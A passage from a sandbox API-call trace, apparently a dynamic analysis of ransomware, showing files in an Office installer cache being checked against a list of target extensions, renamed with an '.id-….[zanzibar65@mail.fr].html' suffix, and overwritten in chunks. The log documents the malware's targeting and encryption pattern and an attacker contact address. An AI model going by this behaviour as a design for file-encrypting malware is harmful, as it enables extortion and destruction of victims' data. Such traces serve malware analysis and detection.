Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.157] lstrlenW (lpString=".doc") returned 4 [0037.157] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString=".docx") returned 5 [0037.157] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.157] lstrlenW (lpString=".pdf") returned 4 [0037.157] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.157] lstrlenW (lpString=".xls") returned 4 [0037.158] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.158] lstrlenW (lpString=".xlsx") returned 5 [0037.158] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.158] lstrlenW (lpString=".ppt") returned 4 [0037.158] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.158] lstrlenW (lpString=".zip") returned 4 [0037.158] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0037.158] lstrlenW (lpString=".rar") returned 4 [0037.158] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0037.158] lstrlenW (lpString=".bz2") returned 4 [0037.158] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0037.158] lstrlenW (lpString=".7z") returned 3 [0037.158] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0037.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.158] lstrlenW (lpString=".dbf") returned 4 [0037.158] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0037.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.158] lstrlenW (lpString=".1cd") returned 4 [0037.158] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0037.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0037.158] lstrlenW (lpString=".jpg") returned 4 [0037.158] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0037.158] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0037.158] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0037.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0037.159] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2865664) returned 1 [0037.159] CloseHandle (hObject=0x170) returned 1 [0037.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0037.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0037.159] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0037.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0037.160] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0037.160] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0037.160] ReadFile (in: hFile=0x170, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.313] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0037.313] ReadFile (in: hFile=0x170, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.395] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.395] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0037.395] ReadFile (in: hFile=0x170, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.415] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0037.416] WriteFile (in: hFile=0x170, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0037.732] SetEndOfFile (hFile=0x170) returned 1 [0037.732] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8c2e8 [0037.736] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0037.736] WriteFile (in: hFile=0x170, lpBuffer=0x3f8c2e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c2e8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.737] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0037.737] WriteFile (in: hFile=0x170, lpBuffer=0x3f8c2e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c2e8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.742] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0037.742] WriteFile (in: hFile=0x170, lpBuffer=0x3f8c2e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8c2e8*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.744] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8c2e8 | out: hHeap=0x220000) returned 1 [0037.744] CloseHandle (hObject=0x170) returned 1 [0038.826] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.826] lstrlenW (lpString=".doc") returned 4 [0038.826] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.826] lstrlenW (lpString=".docx") returned 5 [0038.826] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.826] lstrlenW (lpString=".pdf") returned 4 [0038.826] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.826] lstrlenW (lpString=".xls") returned 4 [0038.826] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.826] lstrlenW (lpString=".xlsx") returned 5 [0038.826] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.826] lstrlenW (lpString=".ppt") returned 4 [0038.826] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.826] lstrlenW (lpString=".zip") returned 4 [0038.827] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.827] lstrlenW (lpString=".rar") returned 4 [0038.827] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.827] lstrlenW (lpString=".bz2") returned 4 [0038.827] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.827] lstrlenW (lpString=".7z") returned 3 [0038.827] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.827] lstrlenW (lpString=".dbf") returned 4 [0038.827] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.827] lstrlenW (lpString=".1cd") returned 4 [0038.827] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.827] lstrlenW (lpString=".jpg") returned 4 [0038.827] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.827] lstrlenW (lpString=".doc") returned 4 [0038.827] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.827] lstrlenW (lpString=".docx") returned 5 [0038.827] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.827] lstrlenW (lpString=".pdf") returned 4 [0038.827] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.827] lstrlenW (lpString=".xls") returned 4 [0038.827] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.827] lstrlenW (lpString=".xlsx") returned 5 [0038.827] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.827] lstrlenW (lpString=".ppt") returned 4 [0038.827] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.828] lstrlenW (lpString=".zip") returned 4 [0038.828] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.828] lstrlenW (lpString=".rar") returned 4 [0038.828] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.828] lstrlenW (lpString=".bz2") returned 4 [0038.828] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.828] lstrlenW (lpString=".7z") returned 3 [0038.828] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.828] lstrlenW (lpString=".dbf") returned 4 [0038.828] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.828] lstrlenW (lpString=".1cd") returned 4 [0038.828] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.828] lstrlenW (lpString=".jpg") returned 4 [0038.828] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.828] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0038.828] lstrlenW (lpString="WordMUI.msi") returned 11 [0038.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0038.829] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2522624) returned 1 [0038.829] CloseHandle (hObject=0x170) returned 1 [0038.829] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0038.829] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.829] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0038.830] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0038.830] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0038.830] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0038.830] ReadFile (in: hFile=0x170, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.834] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0038.834] ReadFile (in: hFile=0x170, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.843] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.843] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0038.843] ReadFile (in: hFile=0x170, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.858] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.858] WriteFile (in: hFile=0x170, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0039.173] SetEndOfFile (hFile=0x170) returned 1 [0039.173] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0039.177] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0039.177] WriteFile (in: hFile=0x170, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.178] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0039.178] WriteFile (in: hFile=0x170, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.184] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0039.184] WriteFile (in: hFile=0x170, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.187] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0039.187] CloseHandle (hObject=0x170) returned 1 [0039.305] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0039.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.305] lstrlenW (lpString=".doc") returned 4 [0039.305] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.305] lstrlenW (lpString=".docx") returned 5 [0039.305] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.306] lstrlenW (lpString=".pdf") returned 4 [0039.306] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.306] lstrlenW (lpString=".xls") returned 4 [0039.306] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.306] lstrlenW (lpString=".xlsx") returned 5 [0039.306] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.306] lstrlenW (lpString=".ppt") returned 4 [0039.306] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.306] lstrlenW (lpString=".zip") returned 4 [0039.306] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.306] lstrlenW (lpString=".rar") returned 4 [0039.306] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.306] lstrlenW (lpString=".bz2") returned 4 [0039.306] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.306] lstrlenW (lpString=".7z") returned 3 [0039.306] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.306] lstrlenW (lpString=".dbf") returned 4 [0039.306] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.306] lstrlenW (lpString=".1cd") returned 4 [0039.306] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.306] lstrlenW (lpString=".jpg") returned 4 [0039.306] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.478] lstrlenW (lpString=".doc") returned 4 [0039.478] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.478] lstrlenW (lpString=".docx") returned 5 [0039.478] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.478] lstrlenW (lpString=".pdf") returned 4 [0039.478] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.478] lstrlenW (lpString=".xls") returned 4 [0039.478] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.478] lstrlenW (lpString=".xlsx") returned 5 [0039.478] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.478] lstrlenW (lpString=".ppt") returned 4 [0039.478] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.478] lstrlenW (lpString=".zip") returned 4 [0039.479] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.479] lstrlenW (lpString=".rar") returned 4 [0039.479] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.479] lstrlenW (lpString=".bz2") returned 4 [0039.479] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.479] lstrlenW (lpString=".7z") returned 3 [0039.479] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.479] lstrlenW (lpString=".dbf") returned 4 [0039.479] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.479] lstrlenW (lpString=".1cd") returned 4 [0039.479] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.479] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.479] lstrlenW (lpString=".jpg") returned 4 [0039.479] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.479] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0039.479] lstrlenW (lpString="Proof.cab") returned 9 [0039.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0039.978] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=13642474) returned 1 [0039.978] CloseHandle (hObject=0x194) returned 1 [0039.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0039.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0039.978] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0040.384] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0040.384] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0040.384] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.384] ReadFile 